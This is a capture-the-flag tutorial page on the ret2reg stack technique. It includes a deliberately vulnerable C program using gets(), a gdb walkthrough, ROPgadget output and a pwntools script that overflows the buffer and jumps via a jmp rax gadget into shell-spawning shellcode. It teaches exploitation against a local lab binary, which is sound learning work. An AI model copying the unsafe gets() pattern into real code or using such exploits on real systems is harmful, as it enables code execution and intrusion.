> For the complete documentation index, see [llms.txt](https://www.ctfrecipes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/ret2reg.md).

# ret2reg

**ret2reg** involves jumping to register addresses rather than hardcoded addresses. As an example, you may find that the **`RAX`** register always points to your buffer when the **ret** instruction is executed. This can be exploited by using a **`call rax`** or **`jmp rax`** [gadget](/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/return-oriented-programming-rop.md) to continue execution from that point. The reason **`RAX`** is often used for this technique is that, according to convention, the return value of a function is typically stored in **`RAX`**.

{% hint style="info" %}
Any function that returns a pointer to the provided string is a prime target. There are many that do this, including :

* `gets()`
* `strcpy()`
* `fgets()`
* ...
  {% endhint %}

## Code example

```c
#include <stdio.h>

void vuln() {
    char buffer[100];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}
```

In this example, when the `vuln()` function will return, the `RAX` register will point to the user input stored into `buffer` :

```ruby
# Disassemble the vuln function
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000401122 <+0>:	push   rbp
   0x0000000000401123 <+1>:	mov    rbp,rsp
   0x0000000000401126 <+4>:	sub    rsp,0x70
   0x000000000040112a <+8>:	lea    rax,[rbp-0x70]
   0x000000000040112e <+12>:	mov    rdi,rax
   0x0000000000401131 <+15>:	mov    eax,0x0
   0x0000000000401136 <+20>:	call   0x401030 <gets@plt>
   0x000000000040113b <+25>:	nop
   0x000000000040113c <+26>:	leave  
   0x000000000040113d <+27>:	ret
End of assembler dump.

# Set a breakpoint at the end of the vuln function (address 0x1150)
gdb-peda$ break *vuln+27
Breakpoint 1 at 0x40113d

# Run the program
gdb-peda$ r
Starting program: ./chall 

# Input some data (in this case, "AAAAAAAA")
AAAAAAAA

# The program hits the breakpoint at the end of the vuln function
Breakpoint 1, 0x000000000040113d in vuln ()

# Print the value of the RAX register
gdb-peda$ i r $rax
rax            0x7fffffffdfc0      0x7fffffffdfc0

# Print the string stored at the address contained in RAX
gdb-peda$ x/s 0x7fffffffdfc0
0x7fffffffdfc0:	"AAAAAAAA" 
```

## Exploitation

Using a `jmp rax` [gadget](/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/return-oriented-programming-rop.md) it's possible to jump directly into the user input without knowing the address of it :

```ruby
$ ROPgadget --binary chall | grep "jmp rax"
0x0000000000401095 : je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax # <-- needed gadget
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x0000000000401093 : test eax, eax ; je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
```

Using Buffer Overflow to set the gadget as return and jump into [shellcode](/pwn/stack-exploitation/arbitrary-code-execution/arbitrary-code-execution.md) :

```python
from pwn import *

# Load the ELF file and start a new process
elf = context.binary = ELF('./chall')
p = process()

# Address of the JMP RAX gadget
JMP_RAX = 0x40109c

# Assemble the payload
payload = asm(shellcraft.sh())        # front of buffer <- RAX points here

# Pad the payload until the RIP
payload = payload.ljust(120, b'A')    

# Append the JMP RAX gadget to the payload
payload += p64(JMP_RAX)               

# Send the payload to the program
p.sendline(payload)

# Start an interactive session
p.interactive()
```

{% hint style="info" %}
Note that this technique could work using another register than `rax` . For example using `rsp` could work as well but the chance of `jmp esp` gadgets existing in the binary are incredible low.
{% endhint %}

## Resources

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg>" %}
